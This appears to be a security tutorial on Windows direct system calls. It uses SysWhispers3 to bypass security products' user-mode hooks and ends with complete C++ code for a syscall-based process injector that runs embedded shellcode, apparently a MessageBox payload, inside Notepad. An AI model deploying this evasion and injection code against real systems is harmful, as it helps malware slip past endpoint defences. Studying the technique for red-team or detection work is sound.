System Call Execution

A system call is a way to request a service from the kernel. Usage of system calls is abstracted from user land applications.

For instance;

  • When opening a file a program might call fopen
  • fopen calls CreateFileA in kernel32.dll which is mapped into the processes address space
  • Kernel32.dll in turn calls NtCreateFile which resides in ntdll.dll
  • NtCreateFile will then execute system call 0x55 (in Windows 10)

The below diagram also illustrates how this abstraction works.

A list of system calls by operating system is available here. Note, that ntdll.dll isn’t part of the Win32 API, and therefore isn’t documented by Microsoft.

On 32-bit systems, to execute a system call the assembly instruction int 2Eh is used to transition to kernel mode. On 64-bit systems, the syscall instruction is used.

We can see how system calls are executed by using WinDBG to disassemble ntdll functions.

0:017> u ntdll!NtAllocateVirtualMemory
ntdll!NtAllocateVirtualMemory:
00007ffa`c476f0f0 4c8bd1          mov     r10,rcx
00007ffa`c476f0f3 b818000000      mov     eax,18h
00007ffa`c476f0f8 f604250803fe7f01 test    byte ptr [SharedUserData+0x308 (00000000`7ffe0308)],1
00007ffa`c476f100 7503            jne     ntdll!NtAllocateVirtualMemory+0x15 (00007ffa`c476f105)
00007ffa`c476f102 0f05            syscall
00007ffa`c476f104 c3              ret
00007ffa`c476f105 cd2e            int     2Eh
00007ffa`c476f107 c3              ret

0:017> u ntdll!NtWriteVirtualMemory
ntdll!NtWriteVirtualMemory:
00007ffa`c476f530 4c8bd1          mov     r10,rcx
00007ffa`c476f533 b83a000000      mov     eax,3Ah
00007ffa`c476f538 f604250803fe7f01 test    byte ptr [SharedUserData+0x308 (00000000`7ffe0308)],1
00007ffa`c476f540 7503            jne     ntdll!NtWriteVirtualMemory+0x15 (00007ffa`c476f545)
00007ffa`c476f542 0f05            syscall
00007ffa`c476f544 c3              ret
00007ffa`c476f545 cd2e            int     2Eh
00007ffa`c476f547 c3              ret

Based on the output, on this version of Windows 11 the system call for NtAllocateVirtualMemory is 0x18, and 0x3A for NtWriteVirtualMemory.

Security products often implement user mode hooking to intercept function calls to determine if the application has malicious intent. Executing a system call directly is a way to bypass these hooks.

System calls are not intended to be called directly from user land applications, and the numbers which identify each call are subject to change in newer versions of Windows.

SysWhispers3 is a tool that allows you to determine the system call numbers at runtime, rather than hard-coding the numbers for each version of Windows manually.


Using SysWhispers

Generate Syswhispers Files

Download SysWhispers3 from here and execute the following command.

python syswhispers.py --preset all -o syscalls_all --arch x64

Running this will produce three files, syscalls_all.c, syscalls_all.h and syscalls_all_-asm.x64.asm.

Enable MASM

Create an empty C++ Visual Studio project. First, we need to enable the Microsoft Macro Assembly (MASM) to include assembly code.

To enable MASM, right click the project. Select Build Dependencies -> Build Customization.

Import SysWhispers Files

Next, copy the files Syswhispers produced to the project folder, and add them into the respective solution folders.


Writing a Process Injection Tool using Syscalls

A process injection tool typically requires calling the following functions;

  • OpenProcess
  • VirtualAllocEx
  • WriteProcessMemory
  • CreateRemoteThread

Using the equivalent ntdll functions names will execute the assembly code stored in syscalls_all-asm64.asm.

Below are the method signatures taken from http://undocumented.ntinternals.net

NtOpenProcess(
  OUT PHANDLE             ProcessHandle,
  IN ACCESS_MASK          AccessMask,
  IN POBJECT_ATTRIBUTES   ObjectAttributes,
  IN PCLIENT_ID           ClientId );
  
NtAllocateVirtualMemory(
  IN HANDLE               ProcessHandle,
  IN OUT PVOID            *BaseAddress,
  IN ULONG                ZeroBits,
  IN OUT PULONG           RegionSize,
  IN ULONG                AllocationType,
  IN ULONG                Protect );
  
NtWriteVirtualMemory(
  IN HANDLE               ProcessHandle,
  IN PVOID                BaseAddress,
  IN PVOID                Buffer,
  IN ULONG                NumberOfBytesToWrite,
  OUT PULONG              NumberOfBytesWritten OPTIONAL );
  
NtCreateThreadEx(
  OUT PHANDLE hThread,
  IN ACCESS_MASK DesiredAccess,
  IN LPVOID ObjectAttributes,
  IN HANDLE ProcessHandle,
  IN LPTHREAD_START_ROUTINE lpStartAddress,
  IN LPVOID lpParameter,
  IN BOOL CreateSuspended,
  IN ULONG StackZeroBits,
  IN ULONG SizeOfStackCommit,
  IN ULONG SizeOfStackReserve,
  OUT LPVOID lpBytesBuffer);
  
NtClose(
  IN HANDLE               ObjectHandle );

Syscall Process Injection Code

The following C++ code uses direct system calls to perform process injection, rather than relying on functions exposed by Kernel32.dll by taking advantage of the SysWhispers3 functions.

#include <Windows.h>
#include "syscalls_all.h"
#include <string>
#include <stdio.h>
#include <stdlib.h>
#include <tlhelp32.h>

int findProcess(const char* procname) {
    HANDLE hSnapshot;
    PROCESSENTRY32 pe;
    int pid = 0;
    BOOL hResult;

    hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (INVALID_HANDLE_VALUE == hSnapshot) return 0;

    pe.dwSize = sizeof(PROCESSENTRY32);
    hResult = Process32First(hSnapshot, &pe);

    while (hResult) {
        // Convert wide string pe.szExeFile to narrow string for comparison
        char narrowName[MAX_PATH];
        WideCharToMultiByte(CP_ACP, 0, pe.szExeFile, -1, narrowName, MAX_PATH, NULL, NULL);

        // Case-insensitive string comparison
        if (_stricmp(procname, narrowName) == 0) {
            pid = pe.th32ProcessID;
            break;
        }
        hResult = Process32Next(hSnapshot, &pe);
    }

    CloseHandle(hSnapshot);
    return pid;
}

int main(int argc, char* argv[])
{
    const char* target = "Notepad.exe"; // Case sensitive
    DWORD pid = findProcess(target);
    printf("Injecting into process %s PID: %d", target, pid);
    unsigned char shellcode[] = "\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x62\x6f\x72\x64\x65\x72\x67\x61\x74\x65\x00\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x00";
    SIZE_T shellcodeSize = sizeof(shellcode);
    HANDLE processHandle;
    OBJECT_ATTRIBUTES objectAttributes = { sizeof(objectAttributes) };
    CLIENT_ID clientId = { (HANDLE)pid, NULL };
    Sw3NtOpenProcess(&processHandle, PROCESS_ALL_ACCESS, &objectAttributes, &clientId);
    LPVOID baseAddress = NULL;
    Sw3NtAllocateVirtualMemory(processHandle, &baseAddress, 0, &shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    Sw3NtWriteVirtualMemory(processHandle, baseAddress, &shellcode, sizeof(shellcode), NULL);
    HANDLE threadHandle;
    Sw3NtCreateThreadEx(&threadHandle, GENERIC_EXECUTE, NULL, processHandle, baseAddress, NULL, FALSE, 0, 0, 0, NULL);
    Sw3NtClose(processHandle);
    return 0;
}